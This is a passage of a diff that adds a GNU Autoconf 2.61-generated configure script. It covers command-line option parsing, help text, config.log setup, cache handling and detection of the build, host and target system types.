--oldincl | --oldinc \ + | --oldin | --oldi | --old | --ol | --o) + ac_prev=oldincludedir ;; + -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \ + | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \ + | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*) + oldincludedir=$ac_optarg ;; + + -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) + ac_prev=prefix ;; + -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) + prefix=$ac_optarg ;; + + -program-prefix | --program-prefix | --program-prefi | --program-pref \ + | --program-pre | --program-pr | --program-p) + ac_prev=program_prefix ;; + -program-prefix=* | --program-prefix=* | --program-prefi=* \ + | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*) + program_prefix=$ac_optarg ;; + + -program-suffix | --program-suffix | --program-suffi | --program-suff \ + | --program-suf | --program-su | --program-s) + ac_prev=program_suffix ;; + -program-suffix=* | --program-suffix=* | --program-suffi=* \ + | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*) + program_suffix=$ac_optarg ;; + + -program-transform-name | --program-transform-name \ + | --program-transform-nam | --program-transform-na \ + | --program-transform-n | --program-transform- \ + | --program-transform | --program-transfor \ + | --program-transfo | --program-transf \ + | --program-trans | --program-tran \ + | --progr-tra | --program-tr | --program-t) + ac_prev=program_transform_name ;; + -program-transform-name=* | --program-transform-name=* \ + | --program-transform-nam=* | --program-transform-na=* \ + | --program-transform-n=* | --program-transform-=* \ + | --program-transform=* | --program-transfor=* \ + | --program-transfo=* | --program-transf=* \ + | --program-trans=* | --program-tran=* \ + | --progr-tra=* | --program-tr=* | --program-t=*) + program_transform_name=$ac_optarg ;; + + -pdfdir | --pdfdir | --pdfdi | --pdfd | --pdf | --pd) + ac_prev=pdfdir ;; + -pdfdir=* | --pdfdir=* | --pdfdi=* | --pdfd=* | --pdf=* | --pd=*) + pdfdir=$ac_optarg ;; + + -psdir | --psdir | --psdi | --psd | --ps) + ac_prev=psdir ;; + -psdir=* | --psdir=* | --psdi=* | --psd=* | --ps=*) + psdir=$ac_optarg ;; + + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil) + silent=yes ;; + + -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) + ac_prev=sbindir ;; + -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ + | --sbi=* | --sb=*) + sbindir=$ac_optarg ;; + + -sharedstatedir | --sharedstatedir | --sharedstatedi \ + | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ + | --sharedst | --shareds | --shared | --share | --shar \ + | --sha | --sh) + ac_prev=sharedstatedir ;; + -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \ + | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \ + | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \ + | --sha=* | --sh=*) + sharedstatedir=$ac_optarg ;; + + -site | --site | --sit) + ac_prev=site ;; + -site=* | --site=* | --sit=*) + site=$ac_optarg ;; + + -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) + ac_prev=srcdir ;; + -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) + srcdir=$ac_optarg ;; + + -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ + | --syscon | --sysco | --sysc | --sys | --sy) + ac_prev=sysconfdir ;; + -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \ + | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*) + sysconfdir=$ac_optarg ;; + + -target | --target | --targe | --targ | --tar | --ta | --t) + ac_prev=target_alias ;; + -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*) + target_alias=$ac_optarg ;; + + -v | -verbose | --verbose | --verbos | --verbo | --verb) + verbose=yes ;; + + -version | --version | --versio | --versi | --vers | -V) + ac_init_version=: ;; + + -with-* | --with-*) + ac_package=`expr "x$ac_option" : 'x-*with-\([^=]*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_package" : ".*[^-._$as_cr_alnum]" >/dev/null && + { echo "$as_me: error: invalid package name: $ac_package" >&2 + { (exit 1); exit 1; }; } + ac_package=`echo $ac_package | sed 's/[-.]/_/g'` + eval with_$ac_package=\$ac_optarg ;; + + -without-* | --without-*) + ac_package=`expr "x$ac_option" : 'x-*without-\(.*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_package" : ".*[^-._$as_cr_alnum]" >/dev/null && + { echo "$as_me: error: invalid package name: $ac_package" >&2 + { (exit 1); exit 1; }; } + ac_package=`echo $ac_package | sed 's/[-.]/_/g'` + eval with_$ac_package=no ;; + + --x) + # Obsolete; use --with-x. + with_x=yes ;; + + -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ + | --x-incl | --x-inc | --x-in | --x-i) + ac_prev=x_includes ;; + -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \ + | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*) + x_includes=$ac_optarg ;; + + -x-libraries | --x-libraries | --x-librarie | --x-librari \ + | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) + ac_prev=x_libraries ;; + -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \ + | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*) + x_libraries=$ac_optarg ;; + + -*) { echo "$as_me: error: unrecognized option: $ac_option +Try \`$0 --help' for more information." >&2 + { (exit 1); exit 1; }; } + ;; + + *=*) + ac_envvar=`expr "x$ac_option" : 'x\([^=]*\)='` + # Reject names that are not valid shell variable names. + expr "x$ac_envvar" : ".*[^_$as_cr_alnum]" >/dev/null && + { echo "$as_me: error: invalid variable name: $ac_envvar" >&2 + { (exit 1); exit 1; }; } + eval $ac_envvar=\$ac_optarg + export $ac_envvar ;; + + *) + # FIXME: should be removed in autoconf 3.0. + echo "$as_me: WARNING: you should use --build, --host, --target" >&2 + expr "x$ac_option" : ".*[^-._$as_cr_alnum]" >/dev/null && + echo "$as_me: WARNING: invalid host type: $ac_option" >&2 + : ${build_alias=$ac_option} ${host_alias=$ac_option} ${target_alias=$ac_option} + ;; + + esac +done + +if test -n "$ac_prev"; then + ac_option=--`echo $ac_prev | sed 's/_/-/g'` + { echo "$as_me: error: missing argument to $ac_option" >&2 + { (exit 1); exit 1; }; } +fi + +# Be sure to have absolute directory names. +for ac_var in exec_prefix prefix bindir sbindir libexecdir datarootdir \ + datadir sysconfdir sharedstatedir localstatedir includedir \ + oldincludedir docdir infodir htmldir dvidir pdfdir psdir \ + libdir localedir mandir +do + eval ac_val=\$$ac_var + case $ac_val in + [\\/$]* | ?:[\\/]* ) continue;; + NONE | '' ) case $ac_var in *prefix ) continue;; esac;; + esac + { echo "$as_me: error: expected an absolute directory name for --$ac_var: $ac_val" >&2 + { (exit 1); exit 1; }; } +done + +# There might be people who depend on the old broken behavior: `$host' +# used to hold the argument of --host etc. +# FIXME: To remove some day. +build=$build_alias +host=$host_alias +target=$target_alias + +# FIXME: To remove some day. +if test "x$host_alias" != x; then + if test "x$build_alias" = x; then + cross_compiling=maybe + echo "$as_me: WARNING: If you wanted to set the --build type, don't use --host. + If a cross compiler is detected then cross compile mode will be used." >&2 + elif test "x$build_alias" != "x$host_alias"; then + cross_compiling=yes + fi +fi + +ac_tool_prefix= +test -n "$host_alias" && ac_tool_prefix=$host_alias- + +test "$silent" = yes && exec 6>/dev/null + + +ac_pwd=`pwd` && test -n "$ac_pwd" && +ac_ls_di=`ls -di .` && +ac_pwd_ls_di=`cd "$ac_pwd" && ls -di .` || + { echo "$as_me: error: Working directory cannot be determined" >&2 + { (exit 1); exit 1; }; } +test "X$ac_ls_di" = "X$ac_pwd_ls_di" || + { echo "$as_me: error: pwd does not report name of working directory" >&2 + { (exit 1); exit 1; }; } + + +# Find the source files, if location was not specified. +if test -z "$srcdir"; then + ac_srcdir_defaulted=yes + # Try the directory containing this script, then the parent directory. + ac_confdir=`$as_dirname -- "$0" || +$as_expr X"$0" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$0" : 'X\(//\)[^/]' \| \ + X"$0" : 'X\(//\)$' \| \ + X"$0" : 'X\(/\)' \| . 2>/dev/null || +echo X"$0" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + srcdir=$ac_confdir + if test ! -r "$srcdir/$ac_unique_file"; then + srcdir=.. + fi +else + ac_srcdir_defaulted=no +fi +if test ! -r "$srcdir/$ac_unique_file"; then + test "$ac_srcdir_defaulted" = yes && srcdir="$ac_confdir or .." + { echo "$as_me: error: cannot find sources ($ac_unique_file) in $srcdir" >&2 + { (exit 1); exit 1; }; } +fi +ac_msg="sources are in $srcdir, but \`cd $srcdir' does not work" +ac_abs_confdir=`( + cd "$srcdir" && test -r "./$ac_unique_file" || { echo "$as_me: error: $ac_msg" >&2 + { (exit 1); exit 1; }; } + pwd)` +# When building in place, set srcdir=. +if test "$ac_abs_confdir" = "$ac_pwd"; then + srcdir=. +fi +# Remove unnecessary trailing slashes from srcdir. +# Double slashes in file names in object file debugging info +# mess up M-x gdb in Emacs. +case $srcdir in +*/) srcdir=`expr "X$srcdir" : 'X\(.*[^/]\)' \| "X$srcdir" : 'X\(.*\)'`;; +esac +for ac_var in $ac_precious_vars; do + eval ac_env_${ac_var}_set=\${${ac_var}+set} + eval ac_env_${ac_var}_value=\$${ac_var} + eval ac_cv_env_${ac_var}_set=\${${ac_var}+set} + eval ac_cv_env_${ac_var}_value=\$${ac_var} +done + +# +# Report the --help message. +# +if test "$ac_init_help" = "long"; then + # Omit some internal or obsolete options to make the list less imposing. + # This message is too long to be a string in the A/UX 3.1 sh. + cat <<_ACEOF +\`configure' configures this package to adapt to many kinds of systems. + +Usage: $0 [OPTION]... [VAR=VALUE]... + +To assign environment variables (e.g., CC, CFLAGS...), specify them as +VAR=VALUE. See below for descriptions of some of the useful variables. + +Defaults for the options are specified in brackets. + +Configuration: + -h, --help display this help and exit + --help=short display options specific to this package + --help=recursive display the short help of all the included packages + -V, --version display version information and exit + -q, --quiet, --silent do not print \`checking...' messages + --cache-file=FILE cache test results in FILE [disabled] + -C, --config-cache alias for \`--cache-file=config.cache' + -n, --no-create do not create output files + --srcdir=DIR find the sources in DIR [configure dir or \`..'] + +Installation directories: + --prefix=PREFIX install architecture-independent files in PREFIX + [$ac_default_prefix] + --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX + [PREFIX] + +By default, \`make install' will install all the files in +\`$ac_default_prefix/bin', \`$ac_default_prefix/lib' etc. You can specify +an installation prefix other than \`$ac_default_prefix' using \`--prefix', +for instance \`--prefix=\$HOME'. + +For better control, use the options below. + +Fine tuning of the installation directories: + --bindir=DIR user executables [EPREFIX/bin] + --sbindir=DIR system admin executables [EPREFIX/sbin] + --libexecdir=DIR program executables [EPREFIX/libexec] + --sysconfdir=DIR read-only single-machine data [PREFIX/etc] + --sharedstatedir=DIR modifiable architecture-independent data [PREFIX/com] + --localstatedir=DIR modifiable single-machine data [PREFIX/var] + --libdir=DIR object code libraries [EPREFIX/lib] + --includedir=DIR C header files [PREFIX/include] + --oldincludedir=DIR C header files for non-gcc [/usr/include] + --datarootdir=DIR read-only arch.-independent data root [PREFIX/share] + --datadir=DIR read-only architecture-independent data [DATAROOTDIR] + --infodir=DIR info documentation [DATAROOTDIR/info] + --localedir=DIR locale-dependent data [DATAROOTDIR/locale] + --mandir=DIR man documentation [DATAROOTDIR/man] + --docdir=DIR documentation root [DATAROOTDIR/doc/PACKAGE] + --htmldir=DIR html documentation [DOCDIR] + --dvidir=DIR dvi documentation [DOCDIR] + --pdfdir=DIR pdf documentation [DOCDIR] + --psdir=DIR ps documentation [DOCDIR] +_ACEOF + + cat <<\_ACEOF + +System types: + --build=BUILD configure for building on BUILD [guessed] + --host=HOST cross-compile to build programs to run on HOST [BUILD] + --target=TARGET configure for building compilers for TARGET [HOST] +_ACEOF +fi + +if test -n "$ac_init_help"; then + + cat <<\_ACEOF + +Optional Packages: + --with-PACKAGE[=ARG] use PACKAGE [ARG=yes] + --without-PACKAGE do not use PACKAGE (same as --with-PACKAGE=no) + --without-gcc don't use gcc + +Some influential environment variables: + CC C compiler command + CFLAGS C compiler flags + LDFLAGS linker flags, e.g. -L if you have libraries in a + nonstandard directory + LIBS libraries to pass to the linker, e.g. -l + CPPFLAGS C/C++/Objective C preprocessor flags, e.g. -I if + you have headers in a nonstandard directory + CPP C preprocessor + +Use these variables to override the choices made by `configure' or to help +it to find libraries and programs with nonstandard names/locations. + +_ACEOF +ac_status=$? +fi + +if test "$ac_init_help" = "recursive"; then + # If there are subdirs, report their specific --help. + for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" = x: && continue + test -d "$ac_dir" || continue + ac_builddir=. + +case "$ac_dir" in +.) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; +*) + ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'` + # A ".." for each directory in $ac_dir_suffix. + ac_top_builddir_sub=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,/..,g;s,/,,'` + case $ac_top_builddir_sub in + "") ac_top_builddir_sub=. ac_top_build_prefix= ;; + *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; + esac ;; +esac +ac_abs_top_builddir=$ac_pwd +ac_abs_builddir=$ac_pwd$ac_dir_suffix +# for backward compatibility: +ac_top_builddir=$ac_top_build_prefix + +case $srcdir in + .) # We are building in place. + ac_srcdir=. + ac_top_srcdir=$ac_top_builddir_sub + ac_abs_top_srcdir=$ac_pwd ;; + [\\/]* | ?:[\\/]* ) # Absolute name. + ac_srcdir=$srcdir$ac_dir_suffix; + ac_top_srcdir=$srcdir + ac_abs_top_srcdir=$srcdir ;; + *) # Relative name. + ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix + ac_top_srcdir=$ac_top_build_prefix$srcdir + ac_abs_top_srcdir=$ac_pwd/$srcdir ;; +esac +ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix + + cd "$ac_dir" || { ac_status=$?; continue; } + # Check for guested configure. + if test -f "$ac_srcdir/configure.gnu"; then + echo && + $SHELL "$ac_srcdir/configure.gnu" --help=recursive + elif test -f "$ac_srcdir/configure"; then + echo && + $SHELL "$ac_srcdir/configure" --help=recursive + else + echo "$as_me: WARNING: no configuration information is in $ac_dir" >&2 + fi || ac_status=$? + cd "$ac_pwd" || { ac_status=$?; break; } + done +fi + +test -n "$ac_init_help" && exit $ac_status +if $ac_init_version; then + cat <<\_ACEOF +configure +generated by GNU Autoconf 2.61 + +Copyright (C) 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001, +2002, 2003, 2004, 2005, 2006 Free Software Foundation, Inc. +This configure script is free software; the Free Software Foundation +gives unlimited permission to copy, distribute and modify it. +_ACEOF + exit +fi +cat >config.log <<_ACEOF +This file contains any messages produced by compilers while +running configure, to aid debugging if configure makes a mistake. + +It was created by $as_me, which was +generated by GNU Autoconf 2.61. Invocation command line was + + $ $0 $@ + +_ACEOF +exec 5>>config.log +{ +cat <<_ASUNAME +## --------- ## +## Platform. ## +## --------- ## + +hostname = `(hostname || uname -n) 2>/dev/null | sed 1q` +uname -m = `(uname -m) 2>/dev/null || echo unknown` +uname -r = `(uname -r) 2>/dev/null || echo unknown` +uname -s = `(uname -s) 2>/dev/null || echo unknown` +uname -v = `(uname -v) 2>/dev/null || echo unknown` + +/usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null || echo unknown` +/bin/uname -X = `(/bin/uname -X) 2>/dev/null || echo unknown` + +/bin/arch = `(/bin/arch) 2>/dev/null || echo unknown` +/usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null || echo unknown` +/usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null || echo unknown` +/usr/bin/hostinfo = `(/usr/bin/hostinfo) 2>/dev/null || echo unknown` +/bin/machine = `(/bin/machine) 2>/dev/null || echo unknown` +/usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null || echo unknown` +/bin/universe = `(/bin/universe) 2>/dev/null || echo unknown` + +_ASUNAME + +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + echo "PATH: $as_dir" +done +IFS=$as_save_IFS + +} >&5 + +cat >&5 <<_ACEOF + + +## ----------- ## +## Core tests. ## +## ----------- ## + +_ACEOF + + +# Keep a trace of the command line. +# Strip out --no-create and --no-recursion so they do not pile up. +# Strip out --silent because we don't want to record it for future runs. +# Also quote any args containing shell meta-characters. +# Make two passes to allow for proper duplicate-argument suppression. +ac_configure_args= +ac_configure_args0= +ac_configure_args1= +ac_must_keep_next=false +for ac_pass in 1 2 +do + for ac_arg + do + case $ac_arg in + -no-create | --no-c* | -n | -no-recursion | --no-r*) continue ;; + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil) + continue ;; + *\'*) + ac_arg=`echo "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;; + esac + case $ac_pass in + 1) ac_configure_args0="$ac_configure_args0 '$ac_arg'" ;; + 2) + ac_configure_args1="$ac_configure_args1 '$ac_arg'" + if test $ac_must_keep_next = true; then + ac_must_keep_next=false # Got value, back to normal. + else + case $ac_arg in + *=* | --config-cache | -C | -disable-* | --disable-* \ + | -enable-* | --enable-* | -gas | --g* | -nfp | --nf* \ + | -q | -quiet | --q* | -silent | --sil* | -v | -verb* \ + | -with-* | --with-* | -without-* | --without-* | --x) + case "$ac_configure_args0 " in + "$ac_configure_args1"*" '$ac_arg' "* ) continue ;; + esac + ;; + -* ) ac_must_keep_next=true ;; + esac + fi + ac_configure_args="$ac_configure_args '$ac_arg'" + ;; + esac + done +done +$as_unset ac_configure_args0 || test "${ac_configure_args0+set}" != set || { ac_configure_args0=; export ac_configure_args0; } +$as_unset ac_configure_args1 || test "${ac_configure_args1+set}" != set || { ac_configure_args1=; export ac_configure_args1; } + +# When interrupted or exit'd, cleanup temporary files, and complete +# config.log. We remove comments because anyway the quotes in there +# would cause problems or look ugly. +# WARNING: Use '\'' to represent an apostrophe within the trap. +# WARNING: Do not start the trap code with a newline, due to a FreeBSD 4.0 bug. +trap 'exit_status=$? + # Save into config.log some information that might help in debugging. + { + echo + + cat <<\_ASBOX +## ---------------- ## +## Cache variables. ## +## ---------------- ## +_ASBOX + echo + # The following way of writing the cache mishandles newlines in values, +( + for ac_var in `(set) 2>&1 | sed -n '\''s/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'\''`; do + eval ac_val=\$$ac_var + case $ac_val in #( + *${as_nl}*) + case $ac_var in #( + *_cv_*) { echo "$as_me:$LINENO: WARNING: Cache variable $ac_var contains a newline." >&5 +echo "$as_me: WARNING: Cache variable $ac_var contains a newline." >&2;} ;; + esac + case $ac_var in #( + _ | IFS | as_nl) ;; #( + *) $as_unset $ac_var ;; + esac ;; + esac + done + (set) 2>&1 | + case $as_nl`(ac_space='\'' '\''; set) 2>&1` in #( + *${as_nl}ac_space=\ *) + sed -n \ + "s/'\''/'\''\\\\'\'''\''/g; + s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\''\\2'\''/p" + ;; #( + *) + sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" + ;; + esac | + sort +) + echo + + cat <<\_ASBOX +## ----------------- ## +## Output variables. ## +## ----------------- ## +_ASBOX + echo + for ac_var in $ac_subst_vars + do + eval ac_val=\$$ac_var + case $ac_val in + *\'\''*) ac_val=`echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; + esac + echo "$ac_var='\''$ac_val'\''" + done | sort + echo + + if test -n "$ac_subst_files"; then + cat <<\_ASBOX +## ------------------- ## +## File substitutions. ## +## ------------------- ## +_ASBOX + echo + for ac_var in $ac_subst_files + do + eval ac_val=\$$ac_var + case $ac_val in + *\'\''*) ac_val=`echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; + esac + echo "$ac_var='\''$ac_val'\''" + done | sort + echo + fi + + if test -s confdefs.h; then + cat <<\_ASBOX +## ----------- ## +## confdefs.h. ## +## ----------- ## +_ASBOX + echo + cat confdefs.h + echo + fi + test "$ac_signal" != 0 && + echo "$as_me: caught signal $ac_signal" + echo "$as_me: exit $exit_status" + } >&5 + rm -f core *.core core.conftest.* && + rm -f -r conftest* confdefs* conf$$* $ac_clean_files && + exit $exit_status +' 0 +for ac_signal in 1 2 13 15; do + trap 'ac_signal='$ac_signal'; { (exit 1); exit 1; }' $ac_signal +done +ac_signal=0 + +# confdefs.h avoids OS command line length limits that DEFS can exceed. +rm -f -r conftest* confdefs.h + +# Predefined preprocessor variables. + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_NAME "$PACKAGE_NAME" +_ACEOF + + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_TARNAME "$PACKAGE_TARNAME" +_ACEOF + + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_VERSION "$PACKAGE_VERSION" +_ACEOF + + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_STRING "$PACKAGE_STRING" +_ACEOF + + +cat >>confdefs.h <<_ACEOF +#define PACKAGE_BUGREPORT "$PACKAGE_BUGREPORT" +_ACEOF + + +# Let the site file select an alternate cache file if it wants to. +# Prefer explicitly selected file to automatically selected ones. +if test -n "$CONFIG_SITE"; then + set x "$CONFIG_SITE" +elif test "x$prefix" != xNONE; then + set x "$prefix/share/config.site" "$prefix/etc/config.site" +else + set x "$ac_default_prefix/share/config.site" \ + "$ac_default_prefix/etc/config.site" +fi +shift +for ac_site_file +do + if test -r "$ac_site_file"; then + { echo "$as_me:$LINENO: loading site script $ac_site_file" >&5 +echo "$as_me: loading site script $ac_site_file" >&6;} + sed 's/^/| /' "$ac_site_file" >&5 + . "$ac_site_file" + fi +done + +if test -r "$cache_file"; then + # Some versions of bash will fail to source /dev/null (special + # files actually), so we avoid doing that. + if test -f "$cache_file"; then + { echo "$as_me:$LINENO: loading cache $cache_file" >&5 +echo "$as_me: loading cache $cache_file" >&6;} + case $cache_file in + [\\/]* | ?:[\\/]* ) . "$cache_file";; + *) . "./$cache_file";; + esac + fi +else + { echo "$as_me:$LINENO: creating cache $cache_file" >&5 +echo "$as_me: creating cache $cache_file" >&6;} + >$cache_file +fi + +# Check that the precious variables saved in the cache have kept the same +# value. +ac_cache_corrupted=false +for ac_var in $ac_precious_vars; do + eval ac_old_set=\$ac_cv_env_${ac_var}_set + eval ac_new_set=\$ac_env_${ac_var}_set + eval ac_old_val=\$ac_cv_env_${ac_var}_value + eval ac_new_val=\$ac_env_${ac_var}_value + case $ac_old_set,$ac_new_set in + set,) + { echo "$as_me:$LINENO: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&5 +echo "$as_me: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&2;} + ac_cache_corrupted=: ;; + ,set) + { echo "$as_me:$LINENO: error: \`$ac_var' was not set in the previous run" >&5 +echo "$as_me: error: \`$ac_var' was not set in the previous run" >&2;} + ac_cache_corrupted=: ;; + ,);; + *) + if test "x$ac_old_val" != "x$ac_new_val"; then + { echo "$as_me:$LINENO: error: \`$ac_var' has changed since the previous run:" >&5 +echo "$as_me: error: \`$ac_var' has changed since the previous run:" >&2;} + { echo "$as_me:$LINENO: former value: $ac_old_val" >&5 +echo "$as_me: former value: $ac_old_val" >&2;} + { echo "$as_me:$LINENO: current value: $ac_new_val" >&5 +echo "$as_me: current value: $ac_new_val" >&2;} + ac_cache_corrupted=: + fi;; + esac + # Pass precious variables to config.status. + if test "$ac_new_set" = set; then + case $ac_new_val in + *\'*) ac_arg=$ac_var=`echo "$ac_new_val" | sed "s/'/'\\\\\\\\''/g"` ;; + *) ac_arg=$ac_var=$ac_new_val ;; + esac + case " $ac_configure_args " in + *" '$ac_arg' "*) ;; # Avoid dups. Use of quotes ensures accuracy. + *) ac_configure_args="$ac_configure_args '$ac_arg'" ;; + esac + fi +done +if $ac_cache_corrupted; then + { echo "$as_me:$LINENO: error: changes in the environment can compromise the build" >&5 +echo "$as_me: error: changes in the environment can compromise the build" >&2;} + { { echo "$as_me:$LINENO: error: run \`make distclean' and/or \`rm $cache_file' and start over" >&5 +echo "$as_me: error: run \`make distclean' and/or \`rm $cache_file' and start over" >&2;} + { (exit 1); exit 1; }; } +fi + + + + + + + + + + + + + + + + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + + +ac_aux_dir= +for ac_dir in "$srcdir" "$srcdir/.." "$srcdir/../.."; do + if test -f "$ac_dir/install-sh"; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/install-sh -c" + break + elif test -f "$ac_dir/install.sh"; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/install.sh -c" + break + elif test -f "$ac_dir/shtool"; then + ac_aux_dir=$ac_dir + ac_install_sh="$ac_aux_dir/shtool install -c" + break + fi +done +if test -z "$ac_aux_dir"; then + { { echo "$as_me:$LINENO: error: cannot find install-sh or install.sh in \"$srcdir\" \"$srcdir/..\" \"$srcdir/../..\"" >&5 +echo "$as_me: error: cannot find install-sh or install.sh in \"$srcdir\" \"$srcdir/..\" \"$srcdir/../..\"" >&2;} + { (exit 1); exit 1; }; } +fi + +# These three variables are undocumented and unsupported, +# and are intended to be withdrawn in a future Autoconf release. +# They can cause serious problems if a builder's source tree is in a directory +# whose full name contains unusual characters. +ac_config_guess="$SHELL $ac_aux_dir/config.guess" # Please don't use this var. +ac_config_sub="$SHELL $ac_aux_dir/config.sub" # Please don't use this var. +ac_configure="$SHELL $ac_aux_dir/configure" # Please don't use this var. + + +# Make sure we can run config.sub. +$SHELL "$ac_aux_dir/config.sub" sun4 >/dev/null 2>&1 || + { { echo "$as_me:$LINENO: error: cannot run $SHELL $ac_aux_dir/config.sub" >&5 +echo "$as_me: error: cannot run $SHELL $ac_aux_dir/config.sub" >&2;} + { (exit 1); exit 1; }; } + +{ echo "$as_me:$LINENO: checking build system type" >&5 +echo $ECHO_N "checking build system type... $ECHO_C" >&6; } +if test "${ac_cv_build+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_build_alias=$build_alias +test "x$ac_build_alias" = x && + ac_build_alias=`$SHELL "$ac_aux_dir/config.guess"` +test "x$ac_build_alias" = x && + { { echo "$as_me:$LINENO: error: cannot guess build type; you must specify one" >&5 +echo "$as_me: error: cannot guess build type; you must specify one" >&2;} + { (exit 1); exit 1; }; } +ac_cv_build=`$SHELL "$ac_aux_dir/config.sub" $ac_build_alias` || + { { echo "$as_me:$LINENO: error: $SHELL $ac_aux_dir/config.sub $ac_build_alias failed" >&5 +echo "$as_me: error: $SHELL $ac_aux_dir/config.sub $ac_build_alias failed" >&2;} + { (exit 1); exit 1; }; } + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_build" >&5 +echo "${ECHO_T}$ac_cv_build" >&6; } +case $ac_cv_build in +*-*-*) ;; +*) { { echo "$as_me:$LINENO: error: invalid value of canonical build" >&5 +echo "$as_me: error: invalid value of canonical build" >&2;} + { (exit 1); exit 1; }; };; +esac +build=$ac_cv_build +ac_save_IFS=$IFS; IFS='-' +set x $ac_cv_build +shift +build_cpu=$1 +build_vendor=$2 +shift; shift +# Remember, the first character of IFS is used to create $*, +# except with old shells: +build_os=$* +IFS=$ac_save_IFS +case $build_os in *\ *) build_os=`echo "$build_os" | sed 's/ /-/g'`;; esac + + +{ echo "$as_me:$LINENO: checking host system type" >&5 +echo $ECHO_N "checking host system type... $ECHO_C" >&6; } +if test "${ac_cv_host+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "x$host_alias" = x; then + ac_cv_host=$ac_cv_build +else + ac_cv_host=`$SHELL "$ac_aux_dir/config.sub" $host_alias` || + { { echo "$as_me:$LINENO: error: $SHELL $ac_aux_dir/config.sub $host_alias failed" >&5 +echo "$as_me: error: $SHELL $ac_aux_dir/config.sub $host_alias failed" >&2;} + { (exit 1); exit 1; }; } +fi + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_host" >&5 +echo "${ECHO_T}$ac_cv_host" >&6; } +case $ac_cv_host in +*-*-*) ;; +*) { { echo "$as_me:$LINENO: error: invalid value of canonical host" >&5 +echo "$as_me: error: invalid value of canonical host" >&2;} + { (exit 1); exit 1; }; };; +esac +host=$ac_cv_host +ac_save_IFS=$IFS; IFS='-' +set x $ac_cv_host +shift +host_cpu=$1 +host_vendor=$2 +shift; shift +# Remember, the first character of IFS is used to create $*, +# except with old shells: +host_os=$* +IFS=$ac_save_IFS +case $host_os in *\ *) host_os=`echo "$host_os" | sed 's/ /-/g'`;; esac + + +{ echo "$as_me:$LINENO: checking target system type" >&5 +echo $ECHO_N "checking target system type... $ECHO_C" >&6; } +if test "${ac_cv_target+set}" = set; then + echo $ECHO_N "(cached) 